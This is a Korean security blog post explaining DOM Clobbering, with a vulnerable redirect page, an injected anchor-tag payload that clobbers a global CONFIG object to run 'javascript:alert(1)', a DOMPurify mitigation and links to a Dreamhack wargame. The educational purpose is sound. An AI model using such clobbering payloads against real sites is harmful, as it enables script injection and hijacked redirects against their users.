jwcs 2024. 12. 30. 18:18
728x90
반응형

[DOM Clobbering 이란?]

DOM Clobbering은 HTML 요소의 `id`나 `name`이 전역 변수 혹은 함수와 동일한 이름을 가질 때 발생하는 취약점이다. 자바스크립트에서 전역 변수로 사용하려던 이름이 DOM 요소에 의해 "덮어씌워져(clobbered)" 버리는 현상이다.

 

[DOM 이란?]

DOM (Document Object Model)은 웹 페이지를 구조화하여, 각 요소를 객체(Object) 형태로 표현한 인터페이스(Model)이다. 쉽게 말해, 웹 페이지의 각 요소(텍스트, 이미지 등)를 자바스크립트로 제어하기 위해 브라우저가 내부적으로 만들어 두는 것들이다.

<!DOCTYPE html>
<html lang="ko">
<head>
  <meta charset="UTF-8" />
  <title>DOM 사용 예시</title>
</head>
<body>
  <!-- 변경 대상이 될 제목 -->
  <h1 id="myHeading">Hello, World!</h1>

  <!-- 클릭 이벤트를 연결할 버튼 -->
  <button id="myButton">Change Text</button>

  <script>
    // 1. 문서에서 특정 DOM 요소를 가져오기
    const heading = document.getElementById('myHeading');
    const button = document.getElementById('myButton');

    // 2. 버튼에 클릭 이벤트(addEventListener) 연결하기
    button.addEventListener('click', function() {
      // 3. 이벤트 발생 시 DOM을 조작해 h1 텍스트 변경
      heading.textContent = 'Hello, DOM!';
    });
  </script>
</body>
</html>

 위 코드는 `myHeading`과 `myButton` DOM 요소를 조작하는 예시이다.

 

[공격 예시]

<!DOCTYPE html>
<html>
  <head>
    <title>DOM Clobbering 예제</title>
  </head>
  <body>

<div id="config_status" style="white-space: pre;"></div>
<script>
if (window.CONFIG) {
    if (CONFIG.redirectUrl) {
        location.href = CONFIG.redirectUrl
    } else {
        document.write("<h1>redirectUrl is empty</h1>")
    }
} else {
    document.write("<h1>CONFIG is not defined.</h1>")
}
status = "CONFIG: " + (window.CONFIG||"undefined")
status += "\r\n"
status += "CONFIG.redirectUrl: " + (window.CONFIG?window.CONFIG.redirectUrl||"undefined":"undefined")
config_status.textContent = status
</script>
    </script>
  </body>
</html>

브라우저 결과

DOM Clobbering 페이지다.

 

<!DOCTYPE html>
<html>
  <head>
    <title>DOM Clobbering 예제</title>
  </head>
  <body>
    <a id="CONFIG" name="redirectUrl"></a>
    <a id="CONFIG"></a>

<div id="config_status" style="white-space: pre;"></div>
<script>
if (window.CONFIG) {
    if (CONFIG.redirectUrl) {
        location.href = CONFIG.redirectUrl
    } else {
        document.write("<h1>redirectUrl is empty</h1>")
    }
} else {
    document.write("<h1>CONFIG is not defined.</h1>")
}
status = "CONFIG: " + (window.CONFIG||"undefined")
status += "\r\n"
status += "CONFIG.redirectUrl: " + (window.CONFIG?window.CONFIG.redirectUrl||"undefined":"undefined")
config_status.textContent = status
</script>
    </script>
  </body>
</html>

브라우저 결과

DOM Clobbering 이후 화면이다. 

    <a id="CONFIG" name="redirectUrl"></a>
    <a id="CONFIG"></a>

위 코드를 추가했다. 그 결과 `CONFIG`와 `CONFIG.redirectUrl`이 모두 설정된 것을 확인할 수 있고, CONFIG가 HTMLCollection으로 검색되는 것을 확인할 수 있다.

collection 값

`id` 옵션과 `name` 옵션을 위와 같이 설정해줘야 redirectUrl이 제대로 설정된다.

 

    <a id="CONFIG" name="redirectUrl" href="javascript:alert(1)"></a>
    <a id="CONFIG"></a>

만약 위와 같이 입력하게 되면

if (window.CONFIG) {
    if (CONFIG.redirectUrl) {
        location.href = CONFIG.redirectUrl
    } else {
        document.write("<h1>redirectUrl is empty</h1>")
    }
} else {
    document.write("<h1>CONFIG is not defined.</h1>")
}

위 코드에 의해

 

javascript:alert(1)

위와 같이 javascript가 먹히는 것을 볼 수 있다.

 

[대응 방안]

DOMPurify를 사용하면 `id`, `name` 등 attribute를 제거할 수 있다. 따라서 DOMPurify 사용을 권장한다.

 

[관련 자료 및 출처]

문제

https://dreamhack.io/wargame/challenges/48

 

Guest book v0.2

php로 개발 중인 방명록 서비스입니다. 글을 쓰는 기능과, 오류가 발생하는 주소를 관리자가 확인할 수 있도록 하는 Report기능이 존재합니다. 플래그는 관리자의 쿠키에 포함되어 있습니다. 0.1 버

dreamhack.io

https://jwcs.tistory.com/194

 

[드림핵] Guest book v0.2 풀이

 

jwcs.tistory.com

 

출처

https://dreamhack.io/lecture/courses/326

 

Dreamhack | 강의 | Dreamhack

 

dreamhack.io

https://dreamhack.io/forum/qna/3908/

 

DOM Clobbering 질문 있습니다.

https://learn.dreamhack.io/326#7 위의 링크에서 <!-- HTML CODE IS INJECTED HERE --> <div id="config_stat…

dreamhack.io

https://portswigger.net/web-security/dom-based/dom-clobbering

 

DOM clobbering | Web Security Academy

In this section, we will describe what DOM clobbering is, demonstrate how you can exploit DOM vulnerabilities using clobbering techniques, and suggest ways ...

portswigger.net

 

728x90
반응형